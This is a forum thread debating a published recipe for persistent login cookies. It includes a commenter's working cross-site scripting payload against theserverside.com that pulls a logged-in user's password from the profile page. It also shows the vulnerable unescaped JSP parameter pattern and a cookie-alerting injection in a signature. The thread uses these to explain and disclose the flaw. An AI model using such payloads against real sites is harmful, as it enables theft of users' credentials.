Charles Miller has written up a piece on using persistent cookies to handle site login. He talks about various techniques on the implementation, and ends up with his best practice.

Charles’ Recipe

"The cookie should consist of the user’s username, followed by a separator character, followed by some large random number (128 bits seems mind-bogglingly large enough to be acceptable). The server keeps a table of number->username associations, which is looked up to verify the validity of the cookie. If the cookie supplies a random number and username that are mapped to each other in the table, the login is accepted.

At any time, a username may be mapped to several such numbers. Also, while incredibly unlikely, it does not matter if two usernames are mapped to the same random number....."

Read Charles Miller on Persistent Login Cookie Best Practice

What are your thoughts on this practice? How do you implement this in your world?

I think it's the ideal solution. A work of pure genius. :)

Seems like a reasonable aproach.. You can, of course, go with the encrypted data aproach, where you encrypt username, timestamp, and other information (not password, hopefully) in the cookie. The obvious drawback is somebody recovering the key used for the encryption and being able to generate their own cookies. Its really just a tradeoff on that database hit..

Personally though, I think the DB hit is probably worth it for the security, and the fact that its so infrequent (compared to anything else a site is going) as to not really be an issue..

I generally wouldn't build in such a function in the first place, its way too dangerous also most browsers come with some sort of remember my password function nowadays removing much of the need for remembering cookies.

If there is a requirement to add something like this some of the suggestions seem to make sense, not store a plaintext password or password hash in the cookie , but rather storeing a number seems prudent, but changing it every session seems over the top to me, supose 2 users share a login, one would be kicking the other out

having a user enter a password to change the user details seems smart aswell, not just for remembered sessions,but when you logged in as well supose you left your pc unattended and logged in for a while. Not allowing you to order anything is probably over the top again since thats probably what you came to do there in the first place and will probably anoy users

"I generally wouldn't build in such a function in the first place"

I wish I didn't have to, but sites need it. I can't name many popular sites that don't have such a feature. There's still a significant difference in user-experience between being persistently logged in, and having your browser remember the username/password for you. I thought of a better way to achieve the same end (the link's in the first paragraph of the article), but that requires changes to both HTTP and browsers, so it's unlikely to ever happen.

"supose 2 users share a login, one would be kicking the other out"

The two browsers would have different login cookies, both of which would be valid. Invalidating the first guy's cookie wouldn't invalidate second. They wouldn't interfere with each other.

I know it's a popular feature and it definatly offers a better user experience, so I guess you'd have to way the pro's and cons. Paypal doesn't remember you and for good reason.

just remember that *VERY* few people can get away with adding something like this to a site without compromising security, especially since plain jsp doesn't have any build in functions to escape < to < etc you have to write your own util class for this, jstl is a big improvement in that regard since it does this by default

Even theserverside.com itself makes these kind of mistakes that allow for cross site scripting attacks, and adds a couple more like

storing unencrypted passwords in a database
placing passwords in the html, (so anyone can retrieve them from the browser cache)

just open http://ip3e83566f.speed.planet.nl/tss.jsp when logged in


> The two browsers would have different login cookies, both of which would be valid. Invalidating the first guy's cookie wouldn't invalidate second. They wouldn't interfere with each other.

Ok I misunderstood that, that makes sense, I am all for it then, nice solution all in all

>
> just open http://ip3e83566f.speed.planet.nl/tss.jsp when logged in
>
>
i may be going off the topic - but what exactly happens here - why is it showing my password in a pop up ?

I don't think it's offtopic, it illustrates quite nicely why it usually is a bad idea to uses persistent login cookies.

It shows your passwords because tss uses a Persistent Login Cookie and doesn't guard properly guard against a trivial attack called cross site scripting

they have a page called

userthreads.jsp which needs a userID that gets passed in the url
rather than pass the user id I pass something like

"></a>
<iframe src=http://www.theserverside.com/user/myprofile.jsp>
</iframe>
<script>
  function showpass() {
     alert(window.frames[1].document.forms['myprofileform'].password1.value);
  }
  setTimeout('showpass()',5000);
</script><a href=\""


this loads the profile page in an iframe and gets out the password using javascript

Now I could just have easily emailed this password to myself, now imagine this being a banking app rather than tss ouch..

 
It shows your passwords because tss uses a Persistent Login Cookie and doesn't guard properly guard against a trivial attack called cross site scripting
Thanks for the info. For this you must have checked what is the name of the cookie the password is stored by TSS - right ?? i just dont understand how the script is executed instead of just read as a values of request parameter by TSS code on the backend. I would like to know more aboout the cross site scripting so that i do some checks on my site. :) Can you give me some more info or a good site on this. I m sure there will be 100's if i go to google, but if there is any particular one you would suggest.

it is because they do something like

<a href="somelink.htm?<%= request.getParameter("userID") %>">

I can't really recommend any papers because I haven't read many, It's all pretty straightforward afterall

--
style"background-image:url(javascript:alert(document.cookie))">jelmer

The reason the password is available is not because it is in a persistent cookie per se, but because it is available in the HTML. If you "View Source" on the myprofile.jsp, you can find your own password there. Not very secure!